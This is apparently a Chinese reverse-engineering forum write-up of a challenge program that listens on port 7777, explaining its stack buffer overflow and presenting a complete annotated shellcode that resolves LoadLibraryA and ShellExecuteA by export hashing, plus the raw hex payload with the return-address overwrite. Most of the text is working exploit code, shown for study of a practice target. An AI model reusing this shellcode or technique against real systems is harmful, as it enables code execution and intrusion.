一、PE文件分析:
单步跟踪可以发现,这个程序执行后分开启并侦听7777端口,当有数据从7777端口发过来时将接收到的数据显示到屏幕上。
二、漏洞分析:
1.程序在接收数据时建立的缓冲区大小为0x200,但是没有检查接收数据的大小。
2.在显示数据时仅建立了0xC8大小的缓冲区,当数据超过0xC8字节时就会发生缓冲区溢出漏洞。
我利用的是第二个漏洞,以确保程序可以继续正常运行~~
三、构建溢出shellcode:
第一步:观察shellcode的注意事项。
程序执行完显示数据的CALL后,会先用到ESI,ESI中存放的是接收到数据的长度,程序在00401258处用test esi, esi命令测试接收到的数据是否为空。在shellcode里只要保证ESI不为0就不影响程序的正常执行。
然后在循环接收数据时会一直会到EBX中存放的socket属性,在shellcode执行完毕后必须保证EBX的值不变。
第二步:更改程序流程。
当数据大小超过0xC8字节时,0xC8处的dword会覆盖掉程序的返回地址。实时跟踪时发现程序在调用显示数据的CALL时会先把接收到的数据的首地址放入堆栈中。因此我们可以在0xC8处放入一个返回命令,使程序返回到接收数据的首地址继续执行。这里我选用了004010A4处的RETN命令。
第三步:首次溢出:获取API地址。
先来一次溢出,获取ShellExecuteA的地址并保存。
具体shellcode代码如下:
0012FBF4 99 cdq ; edx清0
0012FBF5 66:BA BF40 mov dx, 40BF ; 保存获取到的API地址的空间
0012FBF9 C1E2 08 shl edx, 8
0012FBFC B2 F8 mov dl, 0F8 ; 40BFF8,data段的最后位置
0012FBFE 8BFA mov edi, edx
0012FC00 FC cld
0012FC01 68 58CB3B21 push 213BCB58 ; HASH("ShellExeCuteA")
0012FC06 68 3274910C push 0C917432 ; HASH("LoadLibraryA")
0012FC0B 8BF4 mov esi, esp
0012FC0D 99 cdq
0012FC0E 64:8B4A 30 mov ecx, dword ptr fs:[edx+30] ; 定位TEB
0012FC12 8B49 0C mov ecx, dword ptr [ecx+C]
0012FC15 8B49 1C mov ecx, dword ptr [ecx+1C]
0012FC18 8B09 mov ecx, dword ptr [ecx]
0012FC1A 8B69 08 mov ebp, dword ptr [ecx+8] ; 找到kernel32.dll
0012FC1D B6 02 mov dh, 2 ; esp-200,建立缓冲空间
0012FC1F 2BE2 sub esp, edx ; 其实用不着这么大
0012FC21 66:BA 3332 mov dx, 3233 ; "32"
0012FC25 C1E2 08 shl edx, 8
0012FC28 B2 6C mov dl, 6C ; "l32"
0012FC2A 52 push edx
0012FC2B 68 7368656C push 6C656873 ; "shel"
0012FC30 54 push esp ; 合成"shell32"
0012FC31 AD lods dword ptr [esi] ; 取API的HASH
0012FC32 3C 58 cmp al, 58 ; 只比较一个字节,省出了3个字节~~
0012FC34 75 05 jnz short 0012FC3B ; 是否已经得到了LoadLibrarA的地址?
0012FC36 95 xchg eax, ebp ; 取出"shell32"
0012FC37 FF57 FC call dword ptr [edi-4] ; LoadLibraryA("shell32")
0012FC3A 95 xchg eax, ebp
0012FC3B 60 pushad ; 保存寄存器状态
0012FC3C 8B45 3C mov eax, dword ptr [ebp+3C] ; 查找API地址表
0012FC3F 8B4C05 78 mov ecx, dword ptr [ebp+eax+78]
0012FC43 03CD add ecx, ebp
0012FC45 8B59 20 mov ebx, dword ptr [ecx+20]
0012FC48 03DD add ebx, ebp
0012FC4A 33FF xor edi, edi
0012FC4C 47 inc edi
0012FC4D 8B34BB mov esi, dword ptr [ebx+edi*4]
0012FC50 03F5 add esi, ebp ; 分别取每个API名称
0012FC52 99 cdq
0012FC53 0FBE06 movsx eax, byte ptr [esi] ; HASH(API名)
0012FC56 3AC4 cmp al, ah
0012FC58 74 08 je short 0012FC62
0012FC5A C1CA 07 ror edx, 7
0012FC5D 03D0 add edx, eax
0012FC5F 46 inc esi
0012FC60 ^ EB F1 jmp short 0012FC53
0012FC62 3B5424 1C cmp edx, dword ptr [esp+1C] ; HASH值是否相同?
0012FC66 ^ 75 E4 jnz short 0012FC4C ; 继续查找下一个API
0012FC68 8B59 24 mov ebx, dword ptr [ecx+24] ; 找到正确的API名后:
0012FC6B 03DD add ebx, ebp
0012FC6D 66:8B3C7B mov di, word ptr [ebx+edi*2]
0012FC71 8B59 1C mov ebx, dword ptr [ecx+1C]
0012FC74 03DD add ebx, ebp
0012FC76 032CBB add ebp, dword ptr [ebx+edi*4] ; 取出API地址
0012FC79 95 xchg eax, ebp
0012FC7A 5F pop edi
0012FC7B AB stos dword ptr es:[edi] ; 保存到EDI=40BFF8中去
0012FC7C 57 push edi
0012FC7D 61 popad ; 还原寄存器状态
0012FC7E 3C 58 cmp al, 58 ; 查找HASH完毕?又省了3字节~~~
0012FC80 ^ 75 AF jnz short 0012FC31 ; 查找下一个HASH
0012FC82 99 cdq
0012FC83 66:BA 0C02 mov dx, 20C ; 平衡堆栈
0012FC87 03E2 add esp, edx
0012FC89 66:BA 1240 mov dx, 4012
0012FC8D C1E2 08 shl edx, 8
0012FC90 B2 55 mov dl, 55 ; 401255:程序返回地址
0012FC92 52 push edx
0012FC93 C3 retn ; 返回程序继续执行
99 66 BA BF 40 C1 E2 08 B2 F8 8B FA FC 68 58 CB 3B 21 68 32 74 91 0C 8B F4 99 64 8B 4A 30 8B 49
0C 8B 49 1C 8B 09 8B 69 08 B6 02 2B E2 66 BA 33 32 C1 E2 08 B2 6C 52 68 73 68 65 6C 54 AD 3C 58
75 05 95 FF 57 FC 95 60 8B 45 3C 8B 4C 05 78 03 CD 8B 59 20 03 DD 33 FF 47 8B 34 BB 03 F5 99 0F
BE 06 3A C4 74 08 C1 CA 07 03 D0 46 EB F1 3B 54 24 1C 75 E4 8B 59 24 03 DD 66 8B 3C 7B 8B 59 1C
03 DD 03 2C BB 95 5F AB 57 61 3C 58 75 AF 99 66 BA 0C 02 03 E2 66 BA 12 40 C1 E2 08 B2 55 52 C3
CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
CC CC CC CC CC CC CC CC A4 10 40
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
上传的附件: